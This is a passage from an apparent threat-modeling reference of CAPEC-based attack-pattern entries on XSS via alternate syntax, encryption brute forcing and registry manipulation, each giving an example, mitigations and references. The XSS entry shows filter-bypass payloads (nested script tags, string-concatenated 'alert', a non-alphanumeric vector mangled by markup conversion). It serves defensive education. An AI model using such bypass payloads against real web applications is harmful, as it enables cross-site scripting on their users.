</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/198.html, http://cwe.mitre.org/data/definitions/81.html
</p>
</details>
<details>
<summary> SC04 – XSS Using Alternate Syntax</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
High
</p>
<h6>
Example Instances
</h6>
<p>
In this example, the attacker tries to get a script executed by the victim’s browser. The target application employs regular expressions to make sure no script is being passed through the application to the web page; such a regular expression could be ((?i)script), and the application would replace all matches by this regex by the empty string. An attacker will then create a special payload to bypass this filter: <scriscriptpt>alert(1)</scscriptript> when the applications gets this input string, it will replace all script (case insensitive) by the empty string and the resulting input will be the desired vector by the attacker. In this example, we assume that the application needs to write a particular string in a client-side JavaScript context (e.g.,
<script>HERE</script>
). For the attacker to execute the same payload as in the previous example, he would need to send alert(1) if there was no filtering. The application makes use of the following regular expression as filter ((w+)s<em>(.</em>)|alert|eval|function|document) and replaces all matches by the empty string. For example each occurrence of alert(), eval(), foo() or even the string alert would be stripped. An attacker will then create a special payload to bypass this filter: this<a href="1">‘al’ + ‘ert’</a> when the applications gets this input string, it won’t replace anything and this piece of JavaScript has exactly the same runtime meaning as alert(1). The attacker could also have used non-alphanumeric XSS vectors to bypass the filter; for example, (<span class="math inline"> = [</span>=[]][(__=!<span class="math inline">+</span>)[_=-<sub>-</sub>-~$]+({}+<span class="math inline">)[<sub>/<sub>]</sub></sub> + (</span><span class="math inline"> = (</span><em>=!’’+<span class="math inline">)[<sub>/<sub>]</sub></sub>+</span></em>[+$])])()<a href="_/_"><strong>[<em>/</em>]+</strong>[<em>+~<span class="math inline">]+</span></em>[_]+$$</a> would be executed by the JavaScript engine like alert(1) is.
</p>
<h6>
Mitigations
</h6>
<p>
Design: Use browser technologies that do not allow client side scripting.Design: Utilize strict type, character, and encoding enforcementImplementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.Implementation: Ensure all content coming from the client is using the same encoding; if not, the server-side application must canonicalize the data before applying any filtering.Implementation: Perform input validation for all remote content, including remote and user-generated contentImplementation: Perform output validation for all remote content.Implementation: Disable scripting languages such as JavaScript in browserImplementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/199.html, http://cwe.mitre.org/data/definitions/87.html
</p>
</details>
<details>
<summary> CR05 – Encryption Brute Forcing</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Low
</p>
<h6>
Example Instances
</h6>
<p>
In 1997 the original DES challenge used distributed net computing to brute force the encryption key and decrypt the ciphertext to obtain the original plaintext. Each machine was given its own section of the key space to cover. The ciphertext was decrypted in 96 days.
</p>
<h6>
Mitigations
</h6>
<p>
Use commonly accepted algorithms and recommended key sizes. The key size used will depend on how important it is to keep the data confidential and for how long.In theory a brute force attack performing an exhaustive key space search will always succeed, so the goal is to have computational security. Moore’s law needs to be taken into account that suggests that computing resources double every eighteen months.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/20.html, http://cwe.mitre.org/data/definitions/326.html, http://cwe.mitre.org/data/definitions/327.html, http://cwe.mitre.org/data/definitions/693.html, http://cwe.mitre.org/data/definitions/719.html
</p>
</details>
<details>
<summary> AC08 – Manipulate Registry Information</summary>
<h6>
Targeted Element
</h6>
<p>
Web Server
</p>
<h6>
Severity
</h6>
<p>
Medium
</p>
<h6>
Example Instances
</h6>
<p>
Manipulating registration information can be undertaken in advance of a path traversal attack (inserting relative path modifiers) or buffer overflow attack (enlarging a registry value beyond an application’s ability to store it).
</p>
<h6>
Mitigations
</h6>
<p>
Ensure proper permissions are set for Registry hives to prevent users from modifying keys.Employ a robust and layered defensive posture in order to prevent unauthorized users on your system.Employ robust identification and audit/blocking via whitelisting of applications on your system. Unnecessary applications, utilities, and configurations will have a presence in the system registry that can be leveraged by an adversary through this attack pattern.
</p>
<h6>
References
</h6>
<p>
https://capec.mitre.org/data/definitions/203.html, http://cwe.mitre.org/data/definitions/15.html
</p>
</details>
<details>
<summary> SC05 – Removing Important Client Functionality</summary>
<h6>
Targeted Element